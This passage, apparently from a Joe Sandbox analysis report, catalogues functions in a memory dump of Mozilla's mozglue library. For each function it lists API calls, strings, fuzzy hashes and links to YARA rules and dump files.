Opcode Fuzzy Hash: 7d2a52fff9f38878b04a2b1e275eb0af8cfba1c76c66823f85f732b7d3ee08c2
Instruction Fuzzy Hash: 6D412771710255CBCB14CFB8EC8099FBBE9EF85224B140638E968DB381E7349A05C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2E220,?), ref: 6BD0BC2D
ReleaseSRWLockExclusive.KERNEL32(6BD2E220), ref: 6BD0BC42
RtlFreeHeap.NTDLL(?,00000000,6BD1E300), ref: 6BD0BC82
RtlFreeUnicodeString.NTDLL(6BD2E210), ref: 6BD0BC91
RtlFreeUnicodeString.NTDLL(6BD2E208), ref: 6BD0BCA3
RtlFreeHeap.NTDLL(?,00000000,6BD2E21C), ref: 6BD0BCD2
free.MOZGLUE(?), ref: 6BD0BCD8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 4553b113e57a249783901ede2775830d84a83bae55b75f7af42accb9cbbb1a91
Instruction ID: 00374b1522429907b08d364c468748beeec44a231e0897624a2f15f68e1e04e5
Opcode Fuzzy Hash: 4553b113e57a249783901ede2775830d84a83bae55b75f7af42accb9cbbb1a91
Instruction Fuzzy Hash: 8A21E176544714CFE3208F26D880BA6B7A8FF41728F04846DE95A5F690CB79F881CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFD1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCFD1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD1F5

Part of subcall function 6BCFAD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6BCFAE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD211
GetCurrentThreadId.KERNEL32 ref: 6BCFD217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD279
free.MOZGLUE(?), ref: 6BCFD2B2

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: d415c436cae0b40bda187a17ed797d76ad565af9de6b79f723fb54873880d4a8
Instruction ID: 028ce47474333422f459468b5d2487987e304ce9e5df74efe01bcc23dd1afb00
Opcode Fuzzy Hash: d415c436cae0b40bda187a17ed797d76ad565af9de6b79f723fb54873880d4a8
Instruction Fuzzy Hash: 50219171614341DFCB04DF24C488A9EB7B5FF8A324F10456EEA1A8B340EB74E906CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE99A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCE99C1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99CE
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99F8
GetCurrentThreadId.KERNEL32 ref: 6BCE9A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A0D

Part of subcall function 6BCE9A60: GetCurrentThreadId.KERNEL32 ref: 6BCE9A95
Part of subcall function 6BCE9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A9D
Part of subcall function 6BCE9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCE9ACC
Part of subcall function 6BCE9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCE9BA7
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCE9BB8
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCE9BC9

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6BCE9A15

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 1e0a86f7aececdf814caf275afd98c5bd62bc7f551f851f64722b88f4799e53b
Instruction ID: 5468bfcdddbc604056adb2cd5f6942c6f3c269428e91ece7cc614293f4d457cf
Opcode Fuzzy Hash: 1e0a86f7aececdf814caf275afd98c5bd62bc7f551f851f64722b88f4799e53b
Instruction Fuzzy Hash: 1F0104759142A5DBEF005F659409669BB68EF42668F000417EF095B342E7FD8A03C6B2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB62E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6BCB631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6BCB633A
__Init_thread_footer.LIBCMT ref: 6BCB634E
FreeLibrary.KERNEL32 ref: 6BCB6376

Strings

CoUninitialize, xrefs: 6BCB6334
combase.dll, xrefs: 6BCB6316

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 31386e6c8536c996081bc1b7b24bdc14d2e6395701fc3bfc5e34a54c9acd2982
Instruction ID: 597a99e23ee9914d0110a29be160e7833cce1a8c0b256e4953f8bd87eb209a3c
Opcode Fuzzy Hash: 31386e6c8536c996081bc1b7b24bdc14d2e6395701fc3bfc5e34a54c9acd2982
Instruction Fuzzy Hash: F7011E75926681CFFB009F78D958B28FBA0BB0A725F04497ADB01CE280E778E545CF55

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF9240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF9BAE
free.MOZGLUE(?,?), ref: 6BCF9BC3
free.MOZGLUE(?,?), ref: 6BCF9BD9

Part of subcall function 6BCF93B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF94C8
Part of subcall function 6BCF93B0: free.MOZGLUE(6BCF9281,?), ref: 6BCF94DD

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: fd764f6983a248f3d07e72f0fabf85fca1f6008c2fa804312326bd5c8436cc89
Instruction ID: c9c6991c0965f6ac1bf690a1600427eac0d2f9e4d02e3d7e6a4286331d922532
Opcode Fuzzy Hash: fd764f6983a248f3d07e72f0fabf85fca1f6008c2fa804312326bd5c8436cc89
Instruction Fuzzy Hash: 7FB1D271A147048BCB01CF68C48159FF3F9FFC9324B144699D8999B342EB75EA46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE71A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6BCE6060: moz_xmalloc.MOZGLUE(00000024,3172BCCF,00000000,?,00000000,?,?,6BCE5FCB,6BCE79A3), ref: 6BCE6078

free.MOZGLUE(-00000001), ref: 6BCE72F6
free.MOZGLUE(?), ref: 6BCE7311

Strings

Copied unique strings, xrefs: 6BCE7320
333s, xrefs: 6BCE731B
333s, xrefs: 6BCE7226
Spliced unique strings, xrefs: 6BCE7340

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 1f543f5d12b9403bfa61965e0d6b4e2caed5bcacf169c744262a275b318076c5
Instruction ID: 099be5f07f00f4bbe628d95f3ca6c0559714c80867ded8333ace7b06c9be22e3
Opcode Fuzzy Hash: 1f543f5d12b9403bfa61965e0d6b4e2caed5bcacf169c744262a275b318076c5
Instruction Fuzzy Hash: 3471B871F10215CFDB04CF69D89069DB7F2AF84314F25812ED809AB311EB39AA47CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFC160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BCFC1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BCFC293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BCFC29E

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 6d0d362f0a9413f19ddcea24f813a2bc536b282cdcd566e34e82cf532baeb92f
Instruction ID: 750124988cc8b852fda018adc10bae5e8026ac5b8ef4be4378715e22156f7bdd
Opcode Fuzzy Hash: 6d0d362f0a9413f19ddcea24f813a2bc536b282cdcd566e34e82cf532baeb92f
Instruction Fuzzy Hash: 5161BD71E14614CFCB54CFACD8805DFBBB9FF49310F1545AAE902A7250E735AA46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BCECA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6BCECA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCECA69
Sleep.KERNEL32 ref: 6BCECADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCECAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCECAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BCECB19

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 3cec31b9cd45f385ac7e5c5f3c5fc41f32417902170f507b986785ab6dcc264d
Instruction ID: 1676792fce0effdf45d4f76aa00abf44106492367c4fa9c4193a83b29249f565
Opcode Fuzzy Hash: 3cec31b9cd45f385ac7e5c5f3c5fc41f32417902170f507b986785ab6dcc264d
Instruction Fuzzy Hash: A1213A31B14648CBD3089F38984216BFBB9FFC6304F408629E945A6184FF74C6868791

Uniqueness

Uniqueness Score: -1.00%

Function 6BCAEB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6BCAEBB5

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BCDD7F3), ref: 6BCAEBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEBD6
free.MOZGLUE(?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEC0E

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEC1A

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: c3e9ea9b7d8f2bd2670b8e1ce690e92f3775abd1f88d58b7a341c7c92b0b99f8
Instruction ID: c6f1d55ed0e7f8e1eea11babf7bb4b790b6ca9d52e9503d6e697e25c6fe20a38
Opcode Fuzzy Hash: c3e9ea9b7d8f2bd2670b8e1ce690e92f3775abd1f88d58b7a341c7c92b0b99f8
Instruction Fuzzy Hash: 8411ECF1A152565BE7008B79AC4976F76A8AB02B18F140465E555DB380F3BDDA0087E2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF0180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BCF0270
GetCurrentThreadId.KERNEL32 ref: 6BCF02E9
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF02F6
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF033A

Strings

about:blank, xrefs: 6BCF020F

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 2e4ff717b2280fe69a99034082e01e0c665062feebb4bcde282ee581ded20960
Instruction ID: b08a6f3557222f0187e761eeb5afa27cca9e2081b36fe7313f55be437f092e92
Opcode Fuzzy Hash: 2e4ff717b2280fe69a99034082e01e0c665062feebb4bcde282ee581ded20960
Instruction Fuzzy Hash: 29519074911216CFCB00DF68C880A9AF7F9FF49724F50459AC919AB341E735FA46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEE100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEE12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6BCEE084,00000000), ref: 6BCEE137

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6BCEE196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6BCEE1E9

Part of subcall function 6BCE99A0: GetCurrentThreadId.KERNEL32 ref: 6BCE99C1
Part of subcall function 6BCE99A0: AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99CE
Part of subcall function 6BCE99A0: ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6BCEE13F

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 807f5a1a029a2ae3c5cfe8af0964b544bac96cd57cffa8a86217720d51bb71e3
Instruction ID: bd4debcd73cf9b4802da585231a77b2156b30ae7f954d2f39083c44a1090ef0b
Opcode Fuzzy Hash: 807f5a1a029a2ae3c5cfe8af0964b544bac96cd57cffa8a86217720d51bb71e3
Instruction Fuzzy Hash: 903118B19247419FD7049F68944136AF7D5AFC9258F00852EE9694F341FBB8CA0AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE0210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCE0222
moz_xmalloc.MOZGLUE(0000000C), ref: 6BCE0231

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCE028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6BCE02F7

Strings

@, xrefs: 6BCE02D8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 31704aeb3ae43130a4c7d7ff0bb8d9f8964199478561c56a78c6c8442dc0e107
Instruction ID: 6cb6adbf9e4db4a9250d5e304016f15595a178bb9b0fcbd137baaf2288316778
Opcode Fuzzy Hash: 31704aeb3ae43130a4c7d7ff0bb8d9f8964199478561c56a78c6c8442dc0e107
Instruction Fuzzy Hash: 0E31BCB1A10610CFEB54CF68C881A1AB7E1FF44715B14856DD95AEB341EB39EE02CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6BCCBFBD,.dll,00000000,00000000,00000000,6BCCBFBD), ref: 6BD0ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6BD0ABD8

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BD0ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6BD0AC03

Strings

.dll, xrefs: 6BD0ABB4, 6BD0ABFA

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: df81af2f42df770d0525761b8ba06410a09c19adf50c8f389ddd87e8b506da2a
Instruction ID: 253c50bbee92f4d7996bb69a7758d006aeb7e43bdaecd528f222d4b6d257a2a3
Opcode Fuzzy Hash: df81af2f42df770d0525761b8ba06410a09c19adf50c8f389ddd87e8b506da2a
Instruction Fuzzy Hash: 0901B5B6A0411A6FFB005F749C45ABFBAADEF96364F050035FE04EB200EA799D544BB1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD073E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6BCB434E), ref: 6BD073EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6BD07404
FreeLibrary.KERNEL32(?,?,6BCB434E), ref: 6BD07413

Strings

SetProcessDpiAwarenessContext, xrefs: 6BD073FE
user32.dll, xrefs: 6BD073E6

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: f097923d6b6db9fa809951209d93a315ed06a6b123e8f43d619ef675b254d729
Instruction ID: 5c5e994064b62f580757e101774daac6cc9b5b0d52065de1fecd956d04a8c695
Opcode Fuzzy Hash: f097923d6b6db9fa809951209d93a315ed06a6b123e8f43d619ef675b254d729
